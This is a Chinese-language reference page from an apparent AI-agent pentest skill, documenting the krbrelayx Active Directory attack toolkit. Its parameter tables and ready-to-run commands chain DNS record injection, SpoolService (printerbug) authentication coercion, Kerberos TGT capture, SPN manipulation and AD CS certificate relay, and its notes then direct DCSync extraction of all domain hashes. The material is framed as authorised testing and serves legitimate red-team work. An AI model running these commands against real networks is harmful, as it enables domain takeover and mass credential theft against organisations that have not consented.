x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/krbrelayx.md
View on GitHub# krbrelayx
- **Category**: Post-Exploitation / Active Directory Kerberos Attacks
- **Risk Level**: 🔴 High
---
## 描述
一款用于 Kerberos 中继攻击和非约束委派滥用的 Active Directory 攻击工具包。包含四个互补工具:`krbrelayx.py`(Kerberos 中继服务器,捕获并重用 Kerberos 认证)、`addspn.py`(SPN 管理,支持添加、查询和删除服务主体名称)、`dnstool.py`(Active Directory 集成 DNS 记录操作)和 `printerbug.py`(SpoolService 强制认证,触发目标机器向攻击者发起认证)。这些工具组合可实现完整的非约束委派攻击链:强制认证、中继 Kerberos 票据、冒充特权账户。
## 安装
```bash
# 通过 apt 安装(主要方式)
sudo apt install krbrelayx
# 或通过 pip 安装
pip3 install krbrelayx
# 或从 GitHub 克隆
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
pip3 install .
```
## 参数说明
### krbrelayx.py(Kerberos 中继)
| 参数 | 说明 |
|------|------|
| `-t <hostname>` | 要攻击的目标(Kerberos 需要主机名,不支持 IP) |
| `-tf <file>` | 包含目标主机名的文件,每行一个 |
| `-w` | 监视目标文件更新并刷新列表 |
| `-ip <address>` | 绑定 SMB 和 HTTP 服务器的 IP 地址 |
| `-r <SMBSERVER>` | 将 HTTP 请求重定向到 SMBSERVER 上的 `file://` 路径 |
| `-l <dir>` | 存储捕获票据的目录(默认:当前目录) |
| `-f <format>` | 票据存储格式:`ccache` 或 `kirbi`(默认:ccache) |
| `-p <password>` | 用于密钥计算的账户密码 |
| `-hp <hexpass>` | 十六进制编码的密码(`--krbhexpass`) |
| `-s <username>` | Kerberos 密钥计算的区分大小写盐值(`--krbsalt`);仅在指定密码而非密钥时需要 |
| `-hashes <LM:NT>` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-aesKey <key>` | 用于 Kerberos 认证的 AES 密钥(128 或 256 位) |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-c <command>` | 在目标系统上执行的命令 |
| `-e <file>` | 在目标系统上运行的可执行文件 |
| `-codec <codec>` | 目标输出使用的编码(默认 utf-8) |
| `-no-smb2support` | 禁用 SMB2 支持 |
| `-wh <host>` | 提供 WPAD 文件以进行代理认证攻击,设置代理主机(`--wpad-host`) |
| `-wa <num>` | 在提供 WPAD 前提示认证 N 次(`--wpad-auth-num`) |
| `--adcs` | 启用 AD CS 中继攻击 |
| `--template <name>` | 证书请求的 AD CS 模板 |
| `--altname <name>` | 用于 ESC1/ESC6 攻击的主题备用名称(SAN) |
| `-v <user>` | 证书请求的目标用户名或计算机名 |
| `--no-validate-privs` | 跳过权限枚举直接假定有权限 |
| `-6` | 同时监听 IPv6 和 IPv4 |
#### krbrelayx.py — LDAP 攻击选项(中继到 LDAP/LDAPS)
| 参数 | 说明 |
|------|------|
| `--escalate-user <user>` | 通过授予 DCSync 式权限提升该用户的权限(ACL 攻击) |
| `--add-computer [name]` | 尝试通过中继的 LDAP 会话添加新的计算机账户 |
| `--delegate-access` | 将中继计算机账户的访问权限委派给指定账户(RBCD) |
| `--sid` | 对 `--escalate-user` 使用 SID 而非 sAMAccountName |
| `--enum-local-admins` | 尝试枚举目标上的本地管理员(SAMR/LSAT) |
| `--no-dump` | 连接时不转储 LDAP 域信息 |
| `--no-da` | 不尝试添加域管理员(仅进行权限提升) |
| `--no-acl` | 禁用 ACL 攻击(escalate-user / RBCD) |
| `--dump-laps` | 尝试转储 LAPS 密码 |
| `--dump-gmsa` | 尝试转储 gMSA 密码 |
| `--dump-adcs` | 尝试转储 AD CS 注册服务和模板 |
### dnstool.py(AD DNS 操作)
| 参数 | 说明 |
|------|------|
| `<host>` | 目标主机名或 ldap://host:port 连接字符串 |
| `-u <domain\user>` | 认证用户名 |
| `-p <password>` | 密码或 LM:NTLM 哈希 |
| `-r <record>` | 目标 DNS 记录 FQDN |
| `-a <action>` | 操作类型:`add`、`modify`、`query`、`remove`、`resurrect`、`ldapdelete` |
| `-t <type>` | 记录类型(默认:A) |
| `-d <data>` | 记录数据(A 记录为 IP 地址) |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `--zone <zone>` | DNS 区域(默认为域名) |
| `--forest` | 在 ForestDnsZones 分区中搜索 |
| `--legacy` | 在 System 分区中搜索 |
| `--ttl <seconds>` | TTL 值(默认:180) |
| `-k` | 使用 ccache 中的 Kerberos 认证 |
### addspn.py(SPN 管理)
| 参数 | 说明 |
|------|------|
| `<host>` | 目标主机名或 ldap://host:port 连接字符串 |
| `-u <domain\user>` | 认证用户名 |
| `-p <password>` | 密码或 LM:NTLM 哈希 |
| `-t <target>` | 要修改的目标账户(FQDN 或 COMPUTER$ 名称) |
| `-s <SPN>` | 要添加的 SPN 值(如 http/host.domain.local) |
| `-q` | 查询模式——列出现有 SPN |
| `-r` | 删除指定的 SPN |
| `-c` | 清除目标上的所有 SPN |
| `-a` | 通过 msDS-AdditionalDnsHostName 属性添加 SPN |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-k` | 使用 ccache 中的 Kerberos 认证 |
### printerbug.py(SpoolService 强制认证)
| 参数 | 说明 |
|------|------|
| `<target>` | `[[domain/]username[:password]@]<targetName>` |
| `<attackerhost>` | 接收回调的主机名 |
| `-hashes <LM:NT>` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-no-pass` | 不提示输入密码 |
| `-k` | 使用 ccache 中的 Kerberos 认证 |
| `-dc-ip <ip>` | 域控制器 IP 地址 |
| `-target-ip <ip>` | 目标机器的 IP 地址 |
| `-port <port>` | 目标 SMB 端口:139 或 445(默认:445) |
## 常用命令
```bash
# 非约束委派攻击——第一步:添加指向攻击者的 DNS 记录
python3 dnstool.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
-a add -r attacker.corp.local -d 10.0.0.50 -dc-ip 192.168.1.10 dc01.corp.local
# 第二步:启动 krbrelayx 监听器以捕获 TGT
python3 krbrelayx.py -aesKey <aes256_key_of_compromised_server> \
-l /tmp/loot -f ccache
# 第三步:触发 SpoolService 强制认证,迫使域控发起认证
python3 printerbug.py 'corp.local/jdoe:P@ssw0rd@192.168.1.10' attacker.corp.local
# 查询目标账户上的现有 SPN
python3 addspn.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
-t 'cn=websrv,cn=computers,dc=corp,dc=local' -q -dc-ip 192.168.1.10 dc01.corp.local
# 向被攻陷的账户添加 SPN(用于 Kerberoasting 或中继)
python3 addspn.py -u 'corp.local\jdoe' -p 'P@ssw0rd' \
-t 'cn=websrv,cn=computers,dc=corp,dc=local' \
-s 'http/attacker.corp.local' -dc-ip 192.168.1.10 dc01.corp.local
# AD CS 中继攻击——为目标账户捕获证书
python3 krbrelayx.py -aesKey <aes256_key> --adcs --template Machine -v dc01$
```
## 注意事项
1. 非约束委派滥用需要一个已被攻陷且启用了非约束委派的机器账户——使用 BloodHound 或 ldapsearch 进行枚举。
2. `krbrelayx.py` 所需的 AES 密钥来自被攻陷机器的密钥——通过 `secretsdump.py` 或 `mimikatz` 提取。
3. `dnstool.py` 操作 AD 集成 DNS,默认情况下经过认证的用户可以创建新记录——利用此特性将 DNS 名称指向攻击者主机。
4. `printerbug.py` 利用 SpoolService(MS-RPRN)——该服务在大多数 Windows 服务器(包括域控制器)上默认启用。
5. 通过 krbrelayx 捕获域控 TGT 后,配合 `secretsdump.py` 执行 DCSync 以提取所有域哈希。
---
## 官方参考
- [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx)
- [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |